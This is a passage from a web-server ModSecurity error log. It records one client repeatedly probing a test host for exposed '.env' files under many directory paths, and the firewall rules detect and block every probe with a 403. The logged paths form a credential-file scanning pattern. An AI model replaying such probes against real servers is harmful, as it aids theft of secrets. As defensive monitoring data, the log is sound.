&quot;aZ-NuICbt-ue5ARpbmjlRgAAAAI&quot;]
[Thu Feb 26 01:03:04.938987 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/framework/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlRgAAAAI&quot;]
[Thu Feb 26 01:03:04.939134 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/framework/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlRgAAAAI&quot;]
[Thu Feb 26 01:03:04.940261 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fisdom/fisdom/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fisdom/fisdom/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHqQAAAAQ&quot;]
[Thu Feb 26 01:03:04.940486 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fisdom/fisdom/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHqQAAAAQ&quot;]
[Thu Feb 26 01:03:04.940638 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fisdom/fisdom/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHqQAAAAQ&quot;]
[Thu Feb 26 01:03:04.963138 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fixtures/blocks/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/blocks/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHqgAAAAQ&quot;]
[Thu Feb 26 01:03:04.963357 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/blocks/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHqgAAAAQ&quot;]
[Thu Feb 26 01:03:04.963505 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/blocks/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHqgAAAAQ&quot;]
[Thu Feb 26 01:03:04.975826 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-app/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlRwAAAAI&quot;]
[Thu Feb 26 01:03:04.976050 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-app/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlRwAAAAI&quot;]
[Thu Feb 26 01:03:04.976202 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-app/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlRwAAAAI&quot;]
[Thu Feb 26 01:03:05.005979 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fixtures/fiber-debugger/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/fiber-debugger/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHqwAAAAQ&quot;]
[Thu Feb 26 01:03:05.006208 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/fiber-debugger/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHqwAAAAQ&quot;]
[Thu Feb 26 01:03:05.006366 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/fiber-debugger/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHqwAAAAQ&quot;]
[Thu Feb 26 01:03:05.023504 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front-empathy/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-empathy/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlSAAAAAI&quot;]
[Thu Feb 26 01:03:05.023742 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-empathy/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlSAAAAAI&quot;]
[Thu Feb 26 01:03:05.023919 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-empathy/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlSAAAAAI&quot;]
[Thu Feb 26 01:03:05.032254 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fixtures/flight/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/flight/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHrAAAAAQ&quot;]
[Thu Feb 26 01:03:05.032486 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/flight/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHrAAAAAQ&quot;]
[Thu Feb 26 01:03:05.032636 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/flight/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHrAAAAAQ&quot;]
[Thu Feb 26 01:03:05.071987 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fixtures/kitchensink/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/kitchensink/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHrQAAAAQ&quot;]
[Thu Feb 26 01:03:05.072257 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/kitchensink/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHrQAAAAQ&quot;]
[Thu Feb 26 01:03:05.072433 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/kitchensink/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHrQAAAAQ&quot;]
[Thu Feb 26 01:03:05.075003 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front-end/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-end/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlSQAAAAI&quot;]
[Thu Feb 26 01:03:05.075253 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-end/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlSQAAAAI&quot;]
[Thu Feb 26 01:03:05.075403 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-end/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlSQAAAAI&quot;]
[Thu Feb 26 01:03:05.098490 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /flask/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHrgAAAAQ&quot;]
[Thu Feb 26 01:03:05.098728 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHrgAAAAQ&quot;]
[Thu Feb 26 01:03:05.098892 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHrgAAAAQ&quot;]
[Thu Feb 26 01:03:05.110881 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlSgAAAAI&quot;]
[Thu Feb 26 01:03:05.111100 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlSgAAAAI&quot;]
[Thu Feb 26 01:03:05.111250 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlSgAAAAI&quot;]
[Thu Feb 26 01:03:05.129602 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /flask_test_uploads/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask_test_uploads/.env&quot;] [unique_id 